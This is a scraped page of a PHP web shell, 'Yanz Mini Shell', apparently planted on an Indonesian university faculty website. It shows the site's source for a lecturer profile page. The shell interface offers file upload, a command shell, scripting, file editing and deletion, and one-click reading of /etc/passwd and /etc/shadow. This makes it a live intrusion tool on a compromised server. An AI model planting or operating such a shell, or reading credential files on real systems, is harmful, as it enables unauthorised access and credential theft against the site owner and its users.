Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
uncpac53
public_html
fsains.uncp.ac.id
pages
partials
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php // pages/dosen.php — Halaman detail biodata dosen require_once __DIR__ . '/../config/config.php'; $slug = isset($_GET['slug']) ? trim($_GET['slug']) : ''; if (!preg_match('/^[a-z0-9\-]+$/', $slug)) { header("Location: " . $base_url . "/404.php"); exit; } // Filter explicit dengan prefix tabel untuk JOIN (tidak rely pada 3rd arg helper) $d_filter = softDeleteEnabled($conn, 'dosen') ? " AND d.deleted_at IS NULL" : ""; $stmt = $conn->prepare(" SELECT d.*, ps.nama AS nama_prodi, l.nama AS nama_lab FROM dosen d LEFT JOIN program_studi ps ON d.prodi_id = ps.id LEFT JOIN laboratorium l ON d.laboratorium_id = l.id WHERE d.slug = ? AND d.is_active = 1 $d_filter LIMIT 1 "); $stmt->bind_param("s", $slug); $stmt->execute(); $dosen = $stmt->get_result()->fetch_assoc(); if (!$dosen) { header("Location: " . $base_url . "/404.php"); exit; } // Pendidikan $pe = $conn->prepare("SELECT * FROM dosen_pendidikan WHERE dosen_id = ? ORDER BY tahun_mulai ASC, sort_order ASC"); $pe->bind_param("i", $dosen['id']); $pe->execute(); $pendidikan = $pe->get_result()->fetch_all(MYSQLI_ASSOC); // Berita terkait (dari tag manual + auto match nama) $nama_search = '%' . $dosen['nama'] . '%'; $bn = $conn->prepare(" SELECT DISTINCT n.id, n.title, n.image, n.date_posted FROM news n LEFT JOIN berita_dosen bd ON bd.berita_id = n.id WHERE bd.dosen_id = ? OR n.title LIKE ? OR n.content LIKE ? ORDER BY n.date_posted DESC LIMIT 6 "); $bn->bind_param("iss", $dosen['id'], $nama_search, $nama_search); $bn->execute(); $berita_terkait = $bn->get_result()->fetch_all(MYSQLI_ASSOC); // Daftar dosen lain (navigation di bawah) $other_dosen = $conn->query("SELECT id, slug, nama, gelar_depan, gelar_belakang FROM dosen WHERE is_active = 1 " . softDeleteFilter($conn, "dosen") . " ORDER BY nama ASC")->fetch_all(MYSQLI_ASSOC); $nama_lengkap = trim(($dosen['gelar_depan'] ? $dosen['gelar_depan'] . ' ' : '') . $dosen['nama'] . ($dosen['gelar_belakang'] ? ', ' . $dosen['gelar_belakang'] : '')); $foto = !empty($dosen['foto']) && file_exists(__DIR__ . '/../upload/dosen/' . $dosen['foto']) ? $base_url . '/upload/dosen/' . htmlspecialchars($dosen['foto']) : 'https://ui-avatars.com/api/?name=' . urlencode($dosen['nama']) . '&size=400&background=00bfff&color=fff&bold=true'; $page_title = $nama_lengkap . ' - ' . setting('site_name'); $meta_description = ($dosen['jabatan_fungsional'] ?: 'Dosen') . ' di Fakultas Sains UNCP. Bidang: ' . ($dosen['minat_penelitian'] ?: 'Sains'); include __DIR__ . '/../includes/header.php'; ?> <!-- Schema.org Person markup for SEO rich snippet --> <script type="application/ld+json"> { "@context": "https://schema.org", "@type": "Person", "name": <?= json_encode($nama_lengkap) ?>, "jobTitle": <?= json_encode(trim(($dosen['jabatan_fungsional'] ?? '') . ' ' . ($dosen['jabatan_struktural'] ?? ''))) ?>, "worksFor": { "@type": "CollegeOrUniversity", "name": <?= json_encode(setting('site_name')) ?> }, "image": <?= json_encode($foto) ?>, "email": <?= json_encode($dosen['email'] ?? '') ?>, "knowsAbout": <?= json_encode($dosen['minat_penelitian'] ?? '') ?>, "sameAs": [ <?= !empty($dosen['link_scholar']) ? json_encode($dosen['link_scholar']) . ',' : '' ?> <?= !empty($dosen['link_scopus']) ? json_encode($dosen['link_scopus']) . ',' : '' ?> <?= !empty($dosen['link_orcid']) ? json_encode($dosen['link_orcid']) . ',' : '' ?> <?= !empty($dosen['link_sinta']) ? json_encode($dosen['link_sinta']) : '""' ?> ] } </script> <style> .dosen-profile { max-width: 980px; margin: 0 auto; padding: 0 20px; } .dosen-header { text-align: center; padding: 40px 0 30px; } .dosen-photo { width: 220px; height: 220px; border-radius: 50%; object-fit: cover; box-shadow: 0 8px 24px rgba(0,0,0,0.1); } .dosen-nama { font-family: 'Poppins', sans-serif; font-size: 1.75rem; font-weight: 700; color: #0a2b3e; margin: 20px 0 8px; } .dosen-table { width: 100%; border-collapse: collapse; background: white; border-radius: 16px; overflow: hidden; box-shadow: 0 2px 8px rgba(0,0,0,0.05); } .dosen-table th, .dosen-table td { padding: 14px 20px; text-align: left; border-bottom: 1px solid #f1f5f9; font-size: 0.95rem; } .dosen-table th { background: #f8fafc; color: #475569; font-weight: 600; width: 38%; vertical-align: top; } .dosen-table tr:last-child th, .dosen-table tr:last-child td { border-bottom: none; } .section-title { font-family: 'Poppins', sans-serif; font-size: 1.3rem; font-weight: 700; color: #0a2b3e; margin: 36px 0 16px; padding-left: 12px; border-left: 4px solid #00bfff; } .pub-links { display: flex; flex-wrap: wrap; gap: 10px; } .pub-btn { display: inline-flex; align-items: center; gap: 8px; padding: 10px 18px; border-radius: 30px; text-decoration: none; font-size: 0.85rem; font-weight: 600; transition: all 0.2s; } .pub-btn:hover { transform: translateY(-2px); box-shadow: 0 4px 12px rgba(0,0,0,0.12); } .berita-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(260px, 1fr)); gap: 20px; } .berita-card { background: white; border-radius: 16px; overflow: hidden; box-shadow: 0 2px 8px rgba(0,0,0,0.05); text-decoration: none; color: inherit; transition: all 0.3s; } .berita-card:hover { transform: translateY(-4px); box-shadow: 0 8px 20px rgba(0,0,0,0.1); } .berita-card img { width: 100%; height: 160px; object-fit: cover; } .berita-card .info { padding: 16px; } .nav-dosen { display: grid; grid-template-columns: repeat(auto-fill, minmax(280px, 1fr)); gap: 10px; margin-top: 16px; } .nav-dosen a { padding: 10px 14px; background: #f8fafc; border-radius: 10px; color: #334155; text-decoration: none; font-size: 0.85rem; transition: all 0.2s; border-left: 3px solid transparent; } .nav-dosen a:hover, .nav-dosen a.active { background: #e0f2fe; color: #00bfff; border-left-color: #00bfff; } </style> <div style="background: #f8fafc; padding: 30px 0;"> <div class="container" style="max-width: 1100px; margin: 0 auto;"> <nav style="font-size: 0.85rem; color: #64748b;"> <a href="<?= $base_url ?>/index.php" style="color: #0a2b3e;">Beranda</a> › <a href="<?= $base_url ?>/pages/daftar-dosen.php" style="color: #0a2b3e;">Daftar Dosen</a> › <span><?= htmlspecialchars($dosen['nama']) ?></span> </nav> </div> </div> <div class="dosen-profile" style="padding-top: 30px; padding-bottom: 60px;"> <div class="dosen-header" data-aos="fade-up"> <img src="<?= $foto ?>" alt="<?= htmlspecialchars($dosen['nama']) ?>" class="dosen-photo"> <h1 class="dosen-nama"><?= htmlspecialchars($nama_lengkap) ?></h1> </div> <!-- Tabel informasi --> <div class="table-responsive"> <table class="dosen-table" data-aos="fade-up"> <tr> <th>NIP / NIKA</th> <td><?= htmlspecialchars($dosen['nip'] ?: $dosen['nika'] ?: '—') ?> <?= !empty($dosen['nidn']) ? '<br><small style="color: #64748b;">NIDN: ' . htmlspecialchars($dosen['nidn']) . '</small>' : '' ?> </td> </tr> <?php if ($dosen['email']): ?> <tr><th>Email</th><td><a href="mailto:<?= htmlspecialchars($dosen['email']) ?>" style="color: #00bfff;"><?= htmlspecialchars($dosen['email']) ?></a></td></tr> <?php endif; ?> <?php if ($dosen['jabatan_fungsional']): ?> <tr><th>Jabatan Fungsional <br><small style="color: #64748b; font-weight: normal;">Functional Position</small></th><td><?= htmlspecialchars($dosen['jabatan_fungsional']) ?></td></tr> <?php endif; ?> <?php if ($dosen['jabatan_struktural']): ?> <tr><th>Jabatan Struktural <br><small style="color: #64748b; font-weight: normal;">Structural Position</small></th><td><?= htmlspecialchars($dosen['jabatan_struktural']) ?></td></tr> <?php endif; ?> <?php if ($dosen['nama_prodi']): ?> <tr><th>Program Studi</th><td><?= htmlspecialchars($dosen['nama_prodi']) ?></td></tr> <?php endif; ?> </table> </div> <?php if ($dosen['gugus_riset'] || $dosen['nama_lab'] || $dosen['minat_penelitian']): ?> <h2 class="section-title">Riset / Research</h2> <div class="table-responsive"> <table class="dosen-table" data-aos="fade-up"> <?php if ($dosen['gugus_riset']): ?> <tr><th>Gugus Riset <br><small style="color: #64748b; font-weight: normal;">Research Cluster</small></th><td><?= htmlspecialchars($dosen['gugus_riset']) ?></td></tr> <?php endif; ?> <?php if ($dosen['nama_lab']): ?> <tr><th>Laboratorium <br><small style="color: #64748b; font-weight: normal;">Laboratory</small></th><td><?= htmlspecialchars($dosen['nama_lab']) ?></td></tr> <?php endif; ?> <?php if ($dosen['minat_penelitian']): ?> <tr><th>Minat Penelitian <br><small style="color: #64748b; font-weight: normal;">Research Interest</small></th><td><?= htmlspecialchars($dosen['minat_penelitian']) ?></td></tr> <?php endif; ?> </table> </div> <?php endif; ?> <?php if (!empty($pendidikan)): ?> <h2 class="section-title">Edukasi / Education Background</h2> <div class="table-responsive"> <table class="dosen-table" data-aos="fade-up"> <?php foreach ($pendidikan as $p): ?> <tr> <th style="width: 12%;"><?= htmlspecialchars($p['jenjang']) ?><?= $p['gelar'] ? '<br><small style="color: #64748b; font-weight: normal;">' . htmlspecialchars($p['gelar']) . '</small>' : '' ?></th> <td> <strong><?= htmlspecialchars($p['departemen'] ?: '—') ?></strong> <?php if ($p['judul_thesis']): ?><br><em style="color: #64748b; font-size: 0.85rem;"><?= htmlspecialchars($p['judul_thesis']) ?></em><?php endif; ?> </td> <td style="width: 30%; text-align: right;"> <?= htmlspecialchars($p['universitas'] ?: '') ?> <?php if ($p['negara']): ?><br><small style="color: #64748b;"><?= htmlspecialchars($p['negara']) ?></small><?php endif; ?> <?php if ($p['tahun_mulai'] || $p['tahun_selesai']): ?><br><small style="color: #64748b;"><?= $p['tahun_mulai'] ?> – <?= $p['tahun_selesai'] ?></small><?php endif; ?> </td> </tr> <?php endforeach; ?> </table> </div> <?php endif; ?> <?php if ($dosen['bio']): ?> <h2 class="section-title">Profil Singkat</h2> <div class="rich-content" data-aos="fade-up" style="background: white; padding: 24px; border-radius: 16px; box-shadow: 0 2px 8px rgba(0,0,0,0.05); line-height: 1.8; color: #334155;"> <?= $dosen['bio'] ?> </div> <?php endif; ?> <?php $has_links = $dosen['link_scholar'] || $dosen['link_scopus'] || $dosen['link_sinta'] || $dosen['link_orcid'] || $dosen['link_pddikti'] || $dosen['link_researchgate'] || $dosen['cv_file']; if ($has_links): ?> <h2 class="section-title">Publikasi dan Pengajaran / Publication and Teaching</h2> <div class="pub-links" data-aos="fade-up"> <?php if ($dosen['link_scholar']): ?><a href="<?= htmlspecialchars($dosen['link_scholar']) ?>" target="_blank" rel="noopener" class="pub-btn" style="background: #4285f4; color: white;"><i class="fab fa-google"></i> Google Scholar</a><?php endif; ?> <?php if ($dosen['link_scopus']): ?><a href="<?= htmlspecialchars($dosen['link_scopus']) ?>" target="_blank" rel="noopener" class="pub-btn" style="background: #e8540a; color: white;"><i class="fas fa-database"></i> Scopus</a><?php endif; ?> <?php if ($dosen['link_sinta']): ?><a href="<?= htmlspecialchars($dosen['link_sinta']) ?>" target="_blank" rel="noopener" class="pub-btn" style="background: #d97706; color: white;"><i class="fas fa-star"></i> SINTA</a><?php endif; ?> <?php if ($dosen['link_orcid']): ?><a href="<?= htmlspecialchars($dosen['link_orcid']) ?>" target="_blank" rel="noopener" class="pub-btn" style="background: #a6ce39; color: white;"><i class="fas fa-id-badge"></i> ORCID</a><?php endif; ?> <?php if ($dosen['link_pddikti']): ?><a href="<?= htmlspecialchars($dosen['link_pddikti']) ?>" target="_blank" rel="noopener" class="pub-btn" style="background: #1e40af; color: white;"><i class="fas fa-graduation-cap"></i> PDDikti</a><?php endif; ?> <?php if ($dosen['link_researchgate']): ?><a href="<?= htmlspecialchars($dosen['link_researchgate']) ?>" target="_blank" rel="noopener" class="pub-btn" style="background: #00ccbb; color: white;"><i class="fas fa-network-wired"></i> ResearchGate</a><?php endif; ?> <?php if ($dosen['cv_file']): ?><a href="<?= $base_url ?>/upload/cv/<?= htmlspecialchars($dosen['cv_file']) ?>" target="_blank" class="pub-btn" style="background: #dc2626; color: white;"><i class="fas fa-file-pdf"></i> Unduh CV</a><?php endif; ?> </div> <?php endif; ?> <?php if (!empty($berita_terkait)): ?> <h2 class="section-title">Artikel / Article</h2> <div class="berita-grid" data-aos="fade-up"> <?php foreach ($berita_terkait as $b): $img = !empty($b['image']) && file_exists(__DIR__ . '/../assets/images/news/' . $b['image']) ? $base_url . '/assets/images/news/' . htmlspecialchars($b['image']) : $base_url . '/assets/images/cokro.png'; ?> <a href="<?= $base_url ?>/pages/detail-berita.php?id=<?= (int)$b['id'] ?>" class="berita-card"> <img src="<?= $img ?>" alt="<?= htmlspecialchars($b['title']) ?>" loading="lazy"> <div class="info"> <h4 style="font-family: 'Poppins', sans-serif; font-size: 0.95rem; font-weight: 600; color: #0a2b3e; margin: 0 0 8px; line-height: 1.4;"> <?= htmlspecialchars(mb_strimwidth($b['title'], 0, 80, '...')) ?> </h4> <p style="font-size: 0.75rem; color: #64748b; margin: 0;"> <i class="far fa-calendar"></i> <?= date('d M Y', strtotime($b['date_posted'])) ?> </p> </div> </a> <?php endforeach; ?> </div> <?php endif; ?> <h2 class="section-title">Daftar Dosen Lainnya</h2> <div class="nav-dosen" data-aos="fade-up"> <?php foreach ($other_dosen as $od): $od_nama = trim(($od['gelar_depan'] ? $od['gelar_depan'] . ' ' : '') . $od['nama'] . ($od['gelar_belakang'] ? ', ' . $od['gelar_belakang'] : '')); $active = $od['id'] == $dosen['id'] ? 'active' : ''; ?> <a href="<?= $base_url ?>/pages/dosen.php?slug=<?= urlencode($od['slug']) ?>" class="<?= $active ?>"><?= htmlspecialchars($od_nama) ?></a> <?php endforeach; ?> </div> </div> <?php include __DIR__ . '/../includes/footer.php'; ?>
Free Space : 55439138816 Byte